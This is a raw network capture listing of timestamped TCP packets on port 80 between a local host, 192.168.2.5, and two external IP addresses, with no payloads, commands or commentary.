Apr 26, 2024 11:06:10.456845045 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.456887007 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.456898928 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.456960917 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.457000017 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.457233906 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.457283020 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.457319975 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.457355022 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.457389116 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.457412004 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.457442999 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.457451105 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.457508087 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.457577944 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.457617998 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.457653046 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.457688093 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.457727909 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.457748890 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.457802057 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.457842112 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.457875967 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.457927942 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.457967997 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.457973957 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.458049059 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.458089113 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.458106995 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.458152056 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.458190918 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.458228111 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.458338976 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.458378077 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.458384991 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.458435059 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.458471060 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.458509922 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.458573103 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.458611012 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.458661079 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.458725929 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.458765030 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.458782911 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.458853006 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.458890915 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.458903074 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.458960056 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.458997965 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.459014893 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.459069014 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.459108114 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.459146976 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.459211111 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.459249973 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.459280968 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.459321976 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.459359884 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.459381104 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.459438086 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.459486008 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.459517002 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.459578037 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.459618092 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.459635019 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.459683895 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.459722996 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.459748983 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.459800005 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.459841013 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.585659027 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.585679054 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.585947990 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.586015940 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.586039066 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.586100101 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.586146116 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.586189032 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.586245060 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.586303949 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.586306095 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.586361885 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.586407900 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.586419106 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.586453915 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.586509943 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.586538076 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.586584091 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.586627960 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.586663008 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.586693048 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.586749077 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.586767912 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.586838007 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.586886883 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.586939096 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.587192059 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.587239027 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.587297916 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.587311029 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.587372065 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.587415934 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.587431908 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.587498903 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.587544918 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.587564945 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.587613106 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.587660074 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.587711096 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.587735891 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.587779045 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.587829113 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.587894917 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.587939978 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.587970972 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.588037014 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.588082075 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.588140965 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.588213921 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.588258982 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.588329077 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.588407993 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.588454008 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.588485956 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.588593006 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.588638067 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.588639021 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.588716984 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.588759899 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.588800907 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.588918924 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.588956118 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.588958979 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.589050055 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.589088917 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.589128017 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.589185953 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.589229107 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.589297056 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.589376926 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.589423895 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.589459896 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.589534044 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.589675903 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.589737892 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.589795113 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.589833021 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.589915037 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.589960098 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.589981079 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.590050936 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.590091944 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.590131998 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.590224981 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.590265989 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.590317011 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.590375900 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.590420008 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.590457916 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.590521097 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.590564013 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.590603113 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.590697050 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.590740919 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.590747118 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.590810061 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.590854883 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.590882063 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.590923071 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.590966940 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.591079950 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.591137886 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.591197014 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.591197014 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.591238022 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.591281891 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.591310024 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.591358900 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.591403008 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.591440916 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.591497898 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.591536045 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.591798067 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.591881990 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.591900110 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.591927052 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.591964006 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592005014 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.592031956 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592096090 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592143059 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592153072 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.592194080 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592236996 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.592272997 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592314005 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592358112 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.592385054 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592417002 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592467070 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.592493057 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592535973 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592578888 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.592618942 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592641115 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592689991 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.592701912 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592760086 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592803955 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.592832088 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592861891 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592905998 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.592931986 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.592983007 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593022108 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593027115 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.593092918 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593137026 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.593147039 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593192101 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593234062 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.593262911 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593306065 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593350887 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.593379974 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593449116 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593491077 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.593497038 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593569040 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593602896 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593611002 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.593660116 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593704939 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.593714952 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593796968 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593842030 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.593844891 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593909025 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.593952894 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.593961000 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.594019890 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.594064951 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.594084024 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.594124079 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.594185114 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.594187975 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.594238997 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.594280005 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.594307899 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.594346046 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.594389915 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.594402075 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.594446898 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.594484091 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.594523907 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.594553947 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.594599962 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.594614983 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.594667912 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.594712973 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.594752073 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.594819069 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.594870090 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.594903946 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595046997 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595093966 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.595103979 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595170975 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595216036 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.595221996 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595287085 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595329046 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.595340014 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595411062 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595438957 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595459938 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.595510006 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595557928 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.595618963 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595633030 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595674038 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.595675945 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595722914 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595772028 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.595782995 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595812082 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595854998 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.595906019 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595942020 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.595997095 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.596009970 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.596065998 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.596120119 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.596132994 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.596191883 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.596210003 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.596236944 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.596275091 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.596319914 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.596335888 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.596374035 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.596415043 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.596441984 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.596510887 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.596550941 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.596554995 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.596604109 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.596662998 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.596689939 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.596734047 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.596779108 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.596899986 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.597018957 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.597057104 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.597062111 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.597145081 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.597196102 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.597234011 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.597259998 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.597300053 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.597347021 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.597373962 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.597418070 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.597428083 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.597462893 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.597632885 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.597680092 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.597728014 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.597740889 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.597841024 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.597898006 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.597917080 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.597975969 CEST	80	49713	176.97.76.106	192.168.2.5
